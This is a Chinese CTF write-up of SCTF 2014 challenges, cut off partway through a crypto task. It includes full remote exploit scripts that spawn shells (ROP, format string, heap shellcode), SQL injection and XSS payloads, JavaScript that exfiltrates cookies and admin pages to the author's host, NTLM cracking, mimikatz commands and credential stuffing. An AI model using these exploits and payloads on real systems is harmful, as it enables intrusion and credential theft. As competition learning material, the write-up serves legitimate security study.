手持两把锟斤拷,口中疾呼烫烫烫
下联是什么呢?
Score: 10
Ratio: 8/659
Remain: 0/30
百度得知 http://www.zhihu.com/question/19909094/answer/28933117
手持两把锟斤拷,口中疾呼烫烫烫
脚踏千朵屯屯屯,笑看万物锘锘锘 (X)
脚踏千朵屯屯屯,笑看万物锘锘锘 (√)
注意中文符号。
简单的贪吃蛇,吃到30分它就告诉你flag!但是要怎么控制它呢? Download
Score: 100
Ratio: 0/659
Remain: 0/30
对bin文件进行分析,发现在主框架中通过signal函数注册了几个信号,其中’2’,’4’,’6’,’8’分别用于控制下、左、上、右四个方向,SIGALRM用于处理游戏的主要业务逻辑。至于SIGTRAP,则是在handler里面留了个个int 3的断点,简单的反调试罢了,SIGTRAP的信号处理逻辑为直接执行一个空函数。
所以我们可以写一个程序,通过发送信号的方式来控制按键。Linux下C语言可以使用kill函数对指定的pid发送信号,而pid则可以通过执行命令得到(ps/grep/awk),为了完美接收键盘控制信息,我这里使用了curses来接收按键操作,这样直接按方向键就好了。
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <curses.h> #include <sys/types.h> #include <signal.h> int getPid() { FILE *fp = NULL; fp = popen("ps -e|grep \'snake\'|awk \'{print $1}\'", "r"); int pid = -1; if (EOF == fscanf(fp, "%d", &pid)) pid = -1; pclose(fp); return pid; } int main(int argc, char** argv) { int ch; int pid = -1; while (pid == -1) pid = getPid(); printf("pid = %d\n", pid); initscr(); cbreak(); noecho(); keypad(stdscr, true); while (1) { ch = getch(); if (ch == KEY_UP) ch = '8'; else if (ch == KEY_DOWN) ch = '2'; else if (ch == KEY_LEFT) ch = '4'; else if (ch == KEY_RIGHT) ch = '6'; kill(pid, ch); } endwin(); return 0; } /* g++ -o ctrl ctrl.cpp -lncurses U0NURntzMWduNGxfMXNfZnVubnk6KX0= SCTF{s1gn4l_1s_funny:)} */
二次元的萌妹子,你肯定会喜欢的! Download
Score: 200
Ratio: 0/659
Remain: 0/30
2014-12-07 15:12:35 [Misc200更新] Misc200文件更新了,完善了题目,方法没变
下载得到一个压缩包,里面有张图片,丢hex工具查看。发现存在zip压缩包,于是用foremost分离得到以下文件
第一天时zip存在解压密码,3.jpg用stegdetect发现jphide隐写,尝试无果,直接到第二天出现新提示。
tips:密钥即为文件名
于是尝试用mp3stego,sctf解压4.zip发现不成功,猜想其他解法。查阅资料发现zip伪加密。
这是一个无密码的zip文件
这是本题的zip,可以发现在
存在区别,于是尝试把01->00,再尝试打开,没有提示输入密码成功解压得到mp3stego。
用mp3stego工具对文件进行解密。
此处密码为sctf(最初jpg的文件名)。
得到
玩过MC的一看端口便知道这是minecraft开放的端口,下面应该就是flag的坐标。
附图:
下载后发现这个包很小,主要关注到smb协议的数据包。按照题目的意思,需要获取到syclover的明文密码,这应该就是一个内网的smb劫持攻击了,查看了smb包里面的challenge值确实也是1122334455667788
抓到hash是:
LMHASH:9e94258a03356914b15929fa1d2e290fab9c8f9f01999448
NTHASH:013f3cb06ba848f98a6ae6cb4a76477c5ba4e45cda73b475
去下载了个16G的彩虹表。
开始halflmchall hash攻击。
使用工具rcracki_mt先猜解前几位(不区分大小写)很快破解出结果
前七位:NETLMIS
接下来继续使用破解出来的字符串做种子破解整个密码,使用到john-ntlm.pl,
现将hash保存成如下格式:
syclover::ROOT-53DD5427BC:013f3cb06ba848f98a6ae6cb4a76477c5ba4e45cda73b475:9e94258a03356914b15929fa1d2e290fab9c8f9f01999448:1122334455667788
执行:
./john-netntlm.pl --seed "NETLMIS" --file /tmp/1.txt
得到最终的用户密码为:
NetLMis666
那么FLAG:
SCTF{NetLMis666}
本解题方法大量参考看雪某文章,原帖贴出:
http://bbs.pediy.com/showthread.php?p=1203990
下载了数据包,发现数据量很多。经过剔除,可以发现里面有少量http包。估计pcap包中大量的tcp数据是为了做炮灰的。
一个http数据包的内容如下:
明眼人一眼看出这应该是个菜刀的数据包,config.php应该是被入侵后的一句话木马。
整个pcap中大概就几十条http的数据流,一条一条看下来。发现入侵者用winrar打包了一个文件,然后下载了该文件。
用wireshark可以直接提取出该rar文件。
而这是一个加密的rar文件,将菜刀post过去的关键数据base64解密一下,发现使用了该命令打包。
C:\progra~1\WinRAR\rar a C:\Inetpub\wwwroot\backup\wwwroot.rar C:\Inetpub\wwwroot\backup\1.gif –hpJJBoom
密码就是JJBoom
解开压缩包得到一个1.gif,使用c32asm打开,
根据文件头MDMP,知道这是一个内存的dump文件。
载入到神器mimikatz中
使用两条命令
mimikatz # sekurlsa::minidump 1.dmp
//载入dmp文件
mimikatz # sekurlsa::logonPasswords full
//读取登陆密码
密码是<TAB><SPACE>。
但是这不是flag。。
因为<TAG><SPACE>后面还有空格。。
要先log,把输出都输出到一个txt里查看。
FLAG:
SCTF{ <TAB><SPACE> }
PS:本题是赛后才做出来的。我们队没有把这道题做出来,我们队以为又是SMB攻击。(另外最坑爹的是比赛时某位屌丝队友都用foremost拿到了rar还不说)
看来是要进入后台拿flag。
后台可以很快猜出来,但是有个基础认证。
Cy大屌说他好像在哪里看到过iis+php可以绕过基础认证。
So我百度了一下,找到了相关的文章。成功绕过验证。
Microsoft IIS 6.0 with PHP installed Authentication Bypass
http://www.exploit-db.com/exploits/19033/
访问
http://gintama.sycsec.com/admin::$INDEX_ALLOCATION/index.php
接下来是一个不同寻常的注入点,利用的是false注入,在exploitdb上有相关的文章(PS:貌似是完全一样的代码哦,学习了。)
Referer:
http://www.exploit-db.com/papers/18263/
简单描述
表结构 /* create database injection_db; use injection_db; create table users(num int not null, id varchar(30) not null, password varchar(30) not null, primary key(num)); insert into users values(1, 'admin', 'ad1234'); insert into users values(2, 'wh1ant', 'wh1234'); insert into users values(3, 'secuholic', 'se1234'); *** login.php *** */
mysql> select * from users; +-----+-----------+----------+ | num | id | password | +-----+-----------+----------+ | 1 | admin | ad1234 | | 2 | wh1ant | wh1234 | | 3 | secuholic | se1234 | +-----+-----------+----------+ 3 rows in set (0.01 sec) mysql> select * from users where id=''; Empty set (0.00 sec) mysql> select * from users where id=0; +-----+-----------+----------+ | num | id | password | +-----+-----------+----------+ | 1 | admin | ad1234 | | 2 | wh1ant | wh1234 | | 3 | secuholic | se1234 | +-----+-----------+----------+ 3 rows in set (0.00 sec)
Id=0时可以列出所有的记录。
而注入点的语句是:
Select * from users where id=’+input+’ and password=’+input+’;
构造输入id=’-0%23&password=123456
因为mysql的强制转换特性,该语句被这样理解了。
Select * from where id=’’-0# and password=’123456’;
Select * from users where id=(0-0)#
select * from users where id=0
那么就id里面输入'-0#
密码随便写
Payload:
http://gintama.sycsec.com//admin::$INDEX_ALLOCATION/index.php?id=%27%3D0%23&password=123456#&password=123456
成功拿到flag。
Flag: SCTF{Bypass_Auth_aNd_Easy_SQLi}
kali.sycsec.com
我们不是来要0DAY的,其实已经有公开的方法来bypass.
tips:XSS+MySQL error-based PS:建议参赛人员使用最新版chrome测试
Score: 200
Ratio: 0/659
Remain: 0/30
有tip就是好,不用绕弯路了。
毕竟我们队友CTF专业空气队员@P总,直接给了我一个xss的payload。
首页查看源代码可以看到一个输出的测试页面。
<!--index.php?name=xss-->
然后~
Payload:<link rel=import href=http://test.com/test.php>
Test.php的代码是
<?php header("Access-Control-Allow-Origin:*"); ?> <script>alert(1)</script>
马上开始打管理员的cookie。
http://kali.sycsec.com/post.php,这是一个留言板。
直接输入
<link rel=import href=http://test.com/test.php>
找了个xss平台,修改代码,提交,多输入几次打到了cookie。
不知道是成信院哪位大牛的电脑呢~
拿到了后台地址,挂上cookie,登陆。
发现居然403了。
猜测是IP限制,又试了一下ip伪造。
结果。。
好吧。。
想到写(zhao)了个js获取管理员页面的内容。
Js内容如下:
//构建xhrrequest包 function createXHR () { var request = false; if (window.XMLHttpRequest) { request = new XMLHttpRequest(); if (request.overrideMimeType) { request.overrideMimeType('text/xml'); } } else if (window.ActiveXObject) { var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP']; for (var i = 0; i < versions.length; i++) { try { request = new ActiveXObject(versions); } catch (e) {} } } return request; } //get方式 function get (xhr, url) { xhr.open("GET", url, false); xhr.send(); return xhr.responseText; } var xhr = createXHR(); var x = get(xhr,'http://kali.sycsec.com/ebcb6eb2004d1f4086ef87cdf5d678c3/'); get(xhr,"http://test/login.php?key="+escape(x));
其中login.php是用于把传回的代码写入我本地的一个文件中。
返回结果如下:
根据题目的tip,这应该是一个报错注入。
使用了网络上的几个老的报错注入的payload,结果都没成功。(主办方自己写了一个过滤脚本)
一些新型的报错注入payload又出现各种问题(我本机测试可以用的,服务器就不能用;服务器可以用的,我本机不能测试成功,因为主办方服务器mysql版本为5.1,我本机为5.6)
最终使用payload如下:
http://kali.sycsec.com/ebcb6eb2004d1f4086ef87cdf5d678c3/flag.php?id=1 and (select 1 from (select count(*),concat((select thisisflag from flag limit 0,1),left(rand(),3))x from information_schema.tables group by x) as yinfu)
过程不表,flag在当前库的flag表下thisisflag字段下。
修改js,给管理员发留言。
得到返回:
FLAG:SCTF{x55_And_SqLinject}
PS:
报错注入payload大全:http://blackfan.ru/mysql_game_v2/
题目给了个 modx 的地址:modx.sycsec.com,其中 modx 在 PT400 的 idc 中 download 目录有下载。题目提示是代码审计,看到 PKAV 分分钟搞定心慌啊。
idc 上有三个版本,我选择了最新的版本审计,最后发现找错了,是 1.0.8。
打开题目中的地址,从 robots.txt 中发现了 /flag/flag.txt
,第一反应是文件包含。在 expdb 上搜索 modx 的 LFI 无果,决定自己审计。
首先在本地搭建环境,find . -name "*.php" | xargs grep include
找到含有 include 的文件。鬼使神差的从 index-ajax.php
开始跟(没想到跟对了)。获取了用户输入的 q 参数,然后进行包含。阅读代码发现需要在 assets/snippets
目录下,再次目录下查找有包含的 php,发现/ajaxSearch/ajaxSearchPopup.php
存在包含:如果 POST 了 ucfg,如果开头为@FILE:
就包含用户提交的 ucfg。构造 payload:
q=assets/snippets/ajaxSearch/ajaxSearchPopup.php&as_version=1.9.2&ucfg=%26config%3D%60@FILE:flag%2fflag.txt%60&search=123
POST 到 index-ajax.php 得到 flag。
SCTF{0day_15_s0_good} {"res":"
","resnb":"0,0","ctgnm":"","ctgnb":""}
渗透一个 WordPress 的博客。wpscan 扫了下没有插件主题,官方也说不是爆破口令。
http://idc.sycsec.com/?page=1%0aunion%0aselect%0a0x3c736372697074207372633d687474703a2f2f7873732e72652f353233323e3c2f7363726970743e
获得后台地址:
然后通过注入得到管理员的账号和密码:
http://idc.sycsec.com/?page=-1%0aunion%0aselect%0aconcat(UserPass,0x3b,UserName,0x3b,IsAdmin)from%0aadministrators123%0alimit%0a0,1%23
查看源码 得89479a64d0965246c032d813efd7d360;administratoroot;1
管理员的 md5 搜一下得到:rootadministrator123
,登陆后跳到 upload.php。
这里的上传的图片有一个过滤,当图片包含<?
的时候,对,你没有看错,有<?
的时候,张全蛋(英文名Michael Jack,法文名Hélodie Jaqueline)就会出现。不过很容易的,PHP 也可以通过<script language=php>phpinfo();</script>
来执行。直接上传一句话,%00 截断之后得到地址,菜刀连接就好,轻车熟路
根目录下发现 WordPress 的源码,目测这个源码留了后门。下载下来 diff 一下,果然:
数了数这是 6 个字符,那就是assert
了,写了个脚本来爆破..
这个脚本真是醉了..不过跑出来就行。跑了一堆,随便选一个:Q0C6S1E
然后再写一个脚本中转:
运行后连接一句话,在数据库里找到 flag:
渗透题最爱。在 http://corp.sycsec.com/ 搜集各种信息。
<!-- 你一定是DiaoSi程序员吧,否则怎么会找到这里,妹子的邮箱是 [email protected] --> Email: [email protected]/SYC083 6603号寝室 刘明(工号 SYC071) Domain: file.sycsec.com Domain: report-man.sycsec.com
查找一下社工裤找到密码为:971989823,接着登陆进去。
只有一个上传,我还以为能 getshell,后来发现想多了。
<script>alert('l.lol upload success.');window.location='index.php';</script>
卡了一会脑洞一开,想起来文件名可以注入。试了试果然,写了个脚本跑出来所有的用户数据。脚本如下:
用户数据如下:
之后又卡住了..不过机会总会来的,想起以前做渗透的时候经常社工公司邮箱,而且这里的人的邮箱也是@sycsec.com
的,所以顺手打了个 mail.sycsec.com,成功访问。
经过撞库登陆成功 SYC081 和 SYC042 的账号。
[email protected] 19930221
[email protected] liuming123
邮件内容挺逗的 胖编发出来玩玩:
发件人:老板 [[email protected]] 时间: 2014-12-01 =================================== 小夕,上个月表现的不错,这个月也要好好努力呀! 如果这个月能表现的更好,我就给你加薪哟 回复: =================================== 嗯嗯嗯,谢谢老板,我这个月保证不会迟到10次的 发件人:Information Tech [[email protected]] 时间: 2014-11-25 =================================== 通知: 我们的VPN系统出现了问题,现在换成了旧版本系统,可能操作不太方便 但是大家先暂时忍受一下,我们会即使处理该问题的,谢谢合作 Information Tech Do not Reply 发件人:爸爸 [[email protected]] 时间: 2014-11-23 =================================== 小夕,家里出事了,你妈妈生病了,现在卧病在床,急需资金 速汇款到 6678789768123746583 回复: =================================== 你是逗B吗? 我家里会缺钱? 信不信我用钱砸死你,哼。。 发件人:刘得滑 [[email protected]] 时间: 2014-11-22 =================================== 小夕,我是德华哥哟,我的手机前几天掉了,昨天才买了个肾6,我把你的号码忘了,重新发给我嘛 回复: =================================== 额,我不记得我以前给过你号码啊。。。 想要骗我给你号码?Too young too simple ( *・ω・)✄╰ひ╯ 发件人:Information Tech [[email protected]] 时间: 2014-11-20 =================================== 通知: 最近文件共享服务器受到源于内部的暴力破解攻击,现在未确定攻击者 请大家切记把密码改复杂!防止资料泄漏! Information Tech Do not Reply 发件人:小七 [[email protected]] 时间: 2014-09-22 =================================== 夕,这周六就是小美的生日了,你的礼物准备的什么啊? 回复 =================================== 小美妹子么,看姐姐送她一包辣条压压惊:) 发件人:Information Tech [[email protected]] 时间: 2014-09-01 =================================== 通知: 公司VPN地址:vpn.sycsec.com 默认用户名:工号 (如:SYC001) 默认登录密码:工号 + 生日 (如:工号为SYC001,生日为19900101的用户,密码为:SYC001900101) Information Tech Do not Reply
在邮件里得到 VPN 的地址和密码组成。
通知: 公司VPN地址:vpn.sycsec.com 默认用户名:工号 (如:SYC001) 默认登录密码:工号 + 生日 (如:工号为SYC001,生日为19900101的用户,密码为:SYC001900101)
在 SYC081 得到提示小美的生日,爆破了一下出生年份,最后进入 VPN 系统。
http://vpn.sycsec.com/login.php
SYC079
SYC079940927
接着利用 VPN 访问内网的file.sycsec.com
,发现域名不能访问,改为 IP 即可。
Ping file.sycsec.com [10.24.13.37]
这题的坑点在于,存在一个 .svn 目录让人遐想联翩,login.php 又让人登陆。不过我试了试都不行,然后爆破了下目录..发现存在 files 目录...
想到了爆破备份文件,没找到,又尝试了下用户名,依然 GG。最后没辙了爆破了下工号,发现是 403。
嗯,写脚本跑www
import requests headers = { 'Cookie': 'PHPSESSID=cfefaa8e1d72885a3de880a9c9c55337' } url = 'http://vpn.sycsec.com/curl.php' url_2 = 'http://10.24.13.37/files/' data = { 'option': 'GET', 'url': '', 'cookie': '', 'post': '', } for i in range(0,84): data['url'] = '%sSYC0%02d/' % (url_2, i) print 'Forbidden' in requests.post(url, headers=headers, data=data).content, i
最后在 SYC007 处得到 flag。
http://10.24.13.37/files/SYC007/torrent
得到flag:SCTF{FuNny_Pene7ration_Test}
如图,将输入的字符串每位加3后作比较
s=“6duFg3rJ”[::-1]
for i in s:
print chr(ord(i)-3),
脑补一个‘k’
Flag=SCTF{Go0dCra3k}
下载下来是个APK文件。解压,Dex2jar反编译,得到源码,看MainActivity.java分析关键位置,可以看出func函数返回为真,则可toast出Flag。
于是分析func函数,先解密各个字符串,基本上都是-1,-2,-3简易加密的。
输入的字串,第一次变换是与自己所在的标号异或。第二次变换可能是syc(对应长度为6)和xctf(对应长度为9)两种之一,做了下移位。
第三次变换是对大写字母,小写字母,和除此之外其他情况做了处理,得到的字符串的前11位可以通过解方程得到,GoodCracK3R。
11位之后的数,经过处理后又和a8e5588f7e3f758比较,相等才返回1,总共15位,那肯定是8位输入,对应15或16位,于是把这8位跑了一下,测试了下结果。
和前面的GoodCracK3R结合起来,为"GoodCracK3R;{0jN|B6",然后倒推第二次变换和第一次变换,就可推出KEY
FLAG:xctf{hgJ7Q=|8a\wV;A~}}Wc}
程序需要两次输入,第一次的输入有一字节的溢出,可以修改第二次输入的长度。
程序后面有个strlen判断输入长度,用/x00截断即可绕过。经过以一次一字节溢出修改nbytes变量大小,修改后第二次输入出现栈溢出。
Exp如下:
#coding:utf-8 __author__ = 'Dazdingo' from socket import * import struct import time import threading import sys is_recv = True sock_host = '192.168.206.130' sock_port = 8080 S = socket(AF_INET, SOCK_STREAM) def send(ss, tail = ''): global S if tail: ss += tail print ss S.send(ss) def outputrecv(): global S while 1: if is_recv: i = S.recv(1024) if i: sys.stdout.write(i) def start_recv(): #start recv t = threading.Thread(target = outputrecv, args = ()) t.daemon = True t.start() def get_shell(): #start recv start_recv() global S while 1: time.sleep(0.1) ss = raw_input() + '\n' S.send(ss) def main(): global S if len(sys.argv) == 3: sock_host = sys.argv[1] sock_port = int(sys.argv[2]) S.connect((sock_host, sock_port)) a = raw_input('pause') print S.recv(1024) send('syclover\x001111111\xf0') print S.recv(1024) ebp = '\x20\x99\x04\x08' libc = '\x5c\x98\x04\x08' #__libc_start_main retaddr1 = '\xa0\x83\x04\x08' # write retaddr2 = '\xbe\x85\x04\x08' #pop;pop;pop;ret pop_ebp_ret = '\xc0\x85\x04\x08' retaddr3 = '\x60\x83\x04\x08' # read retaddr4 = '\xd2\x85\x04\x08' #leave ret send('A'*0x9c + ebp + retaddr1 + retaddr2 + '\x01\x00\x00\x00' + libc + '\x04\x00\x00\x00' +pop_ebp_ret + ebp + retaddr3 + retaddr4 + '\x00\x00\x00\x00' + '\x24\x99\x04\x08' + '\xf0\x00\x00\x00' ) time.sleep(1) l = S.recv(1024) libcaddr = struct.unpack('I', l)[0] print '__libc_start_main:',hex(libcaddr) system = libcaddr + 0x26050 send(struct.pack('I', system) + 'AAAA'+'\x30\x99\x04\x08' + '/bin/sh\x00') get_shell() if __name__ == '__main__': main()
在print message里有个格式化字符串漏洞,同时有个把字符串copy到栈里有利于利用。
Exp如下
#coding:utf-8 __author__ = 'Dazdingo' from socket import * import struct import time import threading import sys is_recv = True sock_host = '192.168.206.130' sock_port = 8080 S = socket(AF_INET, SOCK_STREAM) def send(ss, tail = '', r = False): global S if tail: ss += tail print ss S.send(ss) if r: print S.recv(1024) def recv_until(str): data = S.recv(1024) e = data.find(str) while 1: if e == -1: data = S.recv(1025) e = data.find(str) else: break return data, e def outputrecv(): global S while 1: if is_recv: i = S.recv(1024) if i: sys.stdout.write(i) def start_recv(): #start recv t = threading.Thread(target = outputrecv, args = ()) t.daemon = True t.start() def get_shell(): #start recv start_recv() global S while 1: time.sleep(0.1) ss = raw_input() + '\n' S.send(ss) def main(): global S if len(sys.argv) == 3: sock_host = sys.argv[1] sock_port = int(sys.argv[2]) S.connect((sock_host, sock_port)) a = raw_input('pause') print S.recv(1024) send('2\n', r = 1) send('%279$x\n', r = 1) send('3\n') data, e = recv_until('message is:') print data, e leak_memory = int(data[e+11:e+19], 16) send('2\n', r = 1) send('%266$x\n', r = 1) send('3\n') data, e = recv_until('message is:') print data, e ebp = int(data[e+11:e+19], 16) call_system = leak_memory + 0x25E24 s = hex(call_system) print 'call_system, ebp is', s, hex(ebp) ret_add1 = struct.pack('I', ebp-0x2c) ret_add2 = struct.pack('I', ebp-0x2a) arg0 = struct.pack('I', ebp-0x24) arg1 = struct.pack('I', ebp-0x20) num_send1 = int(s[6:10], 16) num_send2 = int(s[2:6], 16) - num_send1 send('2\n', r = 1) send('%16$n%17$n%'+ str(num_send1) + 'x%18$n%' + str(num_send2) + 'x%19$n' + '\x20'*(12-len(str(num_send1))-len(str(num_send2))) + arg0 + arg1 +ret_add1 +ret_add2 + '\n', r = 1) send('3\n', r = 1) get_shell() if __name__ == '__main__': main()
node之间通过双向链表连接起来,show node可以回显node在内存中的地址,edite node可以过界修改一个node的content,从而覆盖next node的头部。类似于堆溢出的利用。程序没有nx,可直接执行shellcode。
Exp如下
#coding:utf-8 from socket import * import struct import time import threading import sys is_recv = True sock_host = '192.168.206.130' sock_port = 8080 S = socket(AF_INET, SOCK_STREAM) def send(ss, tail = '', recv = False): global S if tail: ss += tail print ss S.send(ss) if recv: print S.recv(1024) def outputrecv(): global S while 1: if is_recv: i = S.recv(1024) if i: sys.stdout.write(i) def start_recv(): #start recv t = threading.Thread(target = outputrecv, args = ()) t.daemon = True t.start() def get_shell(): #start recv start_recv() global S while 1: time.sleep(0.1) ss = raw_input() + '\n' S.send(ss) def main(): global S if len(sys.argv) == 3: sock_host = sys.argv[1] sock_port = int(sys.argv[2]) S.connect((sock_host, sock_port)) a = raw_input('pause') print S.recv(1024) #first node send('1', recv = True) send('111', recv = True) send('111', recv = True) send('111', recv = True) print S.recv(1024) #second node send('1', recv = True) send('222', recv = True) send('222', recv = True) send('222', recv = True) print S.recv(1024) #third node send('1', recv = True) send('333', recv = True) send('333', recv = True) send('333', recv = True) time.sleep(1) print S.recv(1024) #record first node pointer send('3', recv = True) send('111') data = S.recv(1024) print data e = data.find('location:') while 1: if e == -1: data = S.recv(1024) e = data.find('location:') else: break print e, data[e+9:e+19] p_first_node = int(data[e+9:e+19], 16) #record second node pointer send('3', recv = True) send('222') data = S.recv(1024) print data e = data.find('location:') while 1: if e == -1: data = S.recv(1024) e = data.find('location:') else: break p_second_node = int(data[e+9:e+19], 16) print 'pointer of first,second node:', hex(p_first_node), hex(p_second_node) nops = '\x90'* (p_second_node - p_first_node - 108) jmp = '\xeb\x06\x90\x90\x90\x90\x90\x90' #exec /bin/sh - 43 bytes buf = "" buf += "\xdd\xc2\xd9\x74\x24\xf4\x5b\x2b\xc9\xba\x39\x29\xde" buf += "\xee\xb1\x0b\x31\x53\x1a\x83\xc3\x04\x03\x53\x16\xe2" buf += "\xcc\x43\xd5\xb6\xb7\xc6\x8f\x2e\xea\x85\xc6\x48\x9c" buf += "\x66\xaa\xfe\x5c\x11\x63\x9d\x35\x8f\xf2\x82\x97\xa7" buf += "\x0d\x45\x17\x38\x21\x27\x7e\x56\x12\xd4\xe8\xa6\x3b" buf += "\x49\x61\x47\x0e\xed" shellcode = jmp+buf #edite first node send('4', recv = True) send('111', recv = True) send(nops + struct.pack('I', p_second_node) + '\x70\xa4\x04\x08' + struct.pack('I', p_second_node + 0xc) + shellcode) #delete node send('5', recv = True) send(hex(p_second_node)[2:10], recv = True) get_shell() if __name__ == '__main__': main()
题目的意思是:知道一个数,分解为若干(-2)^i的和,i是位数,求i的组合。如
eg1:
202
8 7 6 4 3 2 1
202=(-2)^8+(-2)^7+(-2)^6+(-2)^4+(-2)^3+(-2)^2+(-2)^1
=256-128+64+16-8+4-2
eg2:
515
10 9 2 1 0
515=(-2)^10+(-2)^9+(-2)^2+(-2)^1+(-2)^0
解法与10进制转2进制类似,不过要注意每位的正负不同
代码:
from socket import * HOST='218.2.197.248' PORT=10007 s = socket(AF_INET, SOCK_STREAM) s.connect((HOST,PORT)) while True: input=int(s.recv(1024),10) print input step=0 ans='' list=[] while input: if step%2==0: flag=-1 else: flag=1 if input%2==1: input=input+flag list.append(str(step)) #else: input=input/2 step=step+1 list.reverse() for i in list: ans=ans+' '+ i print ans s.send(ans) s.close()
import json import hashlib import os import base64 from Crypto.Cipher import AES fp = open("secret.json", "r") secret = json.load(fp) fp.close() if type(secret["the answer to life the universe and everything"]) != type(u"77"): destroy_the_universe() answer = hashlib.sha1(secret["the answer to life the universe and everything"]).hexdigest()[0:16] key = hashlib.sha1(secret["Don't google what it is"]).digest()[0:6] if ord(key[4])*(ord(key[5])-5) != 17557: destroy_the_universe() keys = ["hey"+key[2]+"check"+key[3]+"it"+key[0]+"out", "come"+key[1]+"on"+key[4]+"baby"+key[5]+"~~!"] answer = AES.new(keys[1],AES.MODE_ECB).encrypt( AES.new(keys[0], AES.MODE_ECB).encrypt(answer)) if base64.b64encode(answer) == "fm2knkCBHPuhCQHYE3spag==": fp = open("%s.txt" % hashlib.sha256(key).hexdigest(), "w") fp.write(secret["The entrance to the new world"]) fp.close()
第一个if语句也真是个坑,Google一下"the answer to life the universe and everything"得到的是42,然后后面也必须用42,不然就算不出结果,这里居然写成77?
第二个if语句,我们可以计算出有97*181=17557,代码如下:
def break_multiply(dst=17557): for i in xrange(0, dst+1): for j in xrange(i, dst+1): if i * j == dst: print "%d * %d = %d" % (i, j, dst)
那么key4和key5会存在两种情况(97,186),(181,102)。
之后就是加密处理了,加密逻辑为:使用keys[0]对answer进行AES加密得到中间结果TMP,然后使用keys1对TMP进行AES加密得到结果RES,对RES进行Base64编码得到fm2knkCBHPuhCQHYE3spag==。
那么我们就可以开始爆破了,其中keys1存在512种情况,所以稍微优化一下我们可以使用keys1对加密结果进行AES解密,然后使用一个list保存这512种可能的中间结果,然后跑一个256256256的三重循环破解keys[0],代码如下:
# -*- coding:utf-8 -*- import hashlib import base64 from Crypto.Cipher import AES def genkey1(): res = [] for i in xrange(0, 256): res.append("come"+chr(i)+"on"+chr(181)+ "baby"+chr(102)+"~~!") res.append("come"+chr(i)+"on"+chr(97)+ "baby"+chr(186)+"~~!") return res def genkey0(): res = [] for i in xrange(0, 256): for j in xrange(0, 256): for k in xrange(0, 256): res.append("hey"+chr(i)+"check"+ chr(j)+"it"+chr(k)+"out") return res def getkey1(key0): answer = hashlib.sha1(u"42").hexdigest()[0:16] tmp = AES.new(key0, AES.MODE_ECB).encrypt(answer) final_answer = base64.b64decode("fm2knkCBHPuhCQHYE3spag==") for i in xrange(0, 256): key1 = "come"+chr(i)+"on"+chr(181)+"baby"+chr(102)+"~~!" if tmp == AES.new(key1, AES.MODE_ECB).decrypt( final_answer): print "key1: " + repr(key1) return key1 = "come"+chr(i)+"on"+chr(97)+"baby"+chr(186)+"~~!" if tmp == AES.new(key1, AES.MODE_ECB).decrypt( final_answer): print "key1: " + repr(key1) return def crack(): keys0 = genkey0() # 256**3 keys1 = genkey1() # 512 answer = hashlib.sha1(u"42").hexdigest()[0:16] final_answer = base64.b64decode("fm2knkCBHPuhCQHYE3spag==") tmp_res = [] for key1 in keys1: tmp_res.append(AES.new(key1, AES.MODE_ECB).decrypt( final_answer)) for key0 in keys0: tmp = AES.new(key0, AES.MODE_ECB).encrypt(answer) if tmp in tmp_res: print "key0: " + repr(key0) return getkey1(key0) if __name__ == "__main__": crack() key = "\x81i7\x88a\xba" print hashlib.sha256(key).hexdigest() """ key0: 'hey7check\x88it\x81out' 2 3 0 key1: 'comeionababy\xba~~!' 1 4 5 5bd15779b922c19ef9a9ba2f112df1f2dbb0ad08bbf9edac27a28a0f3ba753f4 http://download.sycsec.com/code/code400/5bd15779b922c19ef9a9ba2f112df1f2dbb0ad08bbf9edac27a28a0f3ba753f4.txt """
当然上面的代码中也可以不事先执行完3个256的循环,这样还可以进一步加快计算速度,因为中间只要得到答案就可以返回了。这里得到的key为"\x81i7\x88a\xba",sha256得到5bd15779b922c19ef9a9ba2f112df1f2dbb0ad08bbf9edac27a28a0f3ba753f4。所以打开
http://download.sycsec.com/code/code400/5bd15779b922c19ef9a9ba2f112df1f2dbb0ad08bbf9edac27a28a0f3ba753f4.txt
打开得到如下的提示:
====== Base64格式密文 ======
Or18/xSC2xW5pT7BLbIE7YPGLwWytbZsxupMp4w6iaa0QvtYZUMefkf43wmzR36MekHm23wgI4buIJLGk7m7gTq9fP8UgtsVuaU+wS2yBO2Dxi8FsrW2bMbqTKeMOommtEL7WGVDHn5H+N8Js0d+jHpB5tt8ICOG7iCSxpO5u4E6vXz/FILbFbmlPsEtsgTtg8YvBbK1tmzG6kynjDqJprRC+1hlQx5+R/jfCbNHfox6QebbfCAjhu4gksaTubuBOr18/xSC2xW5pT7BLbIE7YPGLwWytbZsxupMp4w6iaa0QvtYZUMefkf43wmzR36MekHm23wgI4buIJLGk7m7gTq9fP8UgtsVuaU+wS2yBO2Dxi8FsrW2bMbqTKeMOommtEL7WGVDHn5H+N8Js0d+jHpB5tt8ICOG7iCSxpO5u4E=
====== 部分明文还原 ======
*****n**M****H***j***Wx*******d************h*****3****=*******==******t**F**M**f***hM************3***H*w**J*********=**==*******U******E**95**V*c*N****5**t*M*****J*c*Q*****c*h5**0******==*==****NUR*******************X2*u*H**Y************G**P****=***********0*****************************f***5****OX*********=*******=****
对Base64密文进行Base64解码,发现密文的长度为320,和明文的长度是一致的,然后密文是下面的值重复5次:
:\xbd|\xff\x14\x82\xdb\x15\xb9\xa5>\xc1-\xb2\x04\xed\x83\xc6/\x05\xb2\xb5\xb6l\xc6\xeaL\xa7\x8c:\x89\xa6\xb4B\xfbXeC\x1e~G\xf8\xdf\t\xb3G~\x8czA\xe6\xdb| #\x86\xee \x92\xc6\x93\xb9\xbb\x81
密文和明文长度是一致的,然后密文是重复的,可以猜想明文也是重复的,而且明文去除掩码后得到的字符串的长度刚好是64(64*5=320):
nMHjWxdh3===tFMfhM3HwJ===UE95VcN5tMJcQch50====NURX2uHYGP=0f5OX==
所以猜想通过带掩码的明文刚好可以恢复出明文值,代码如下:
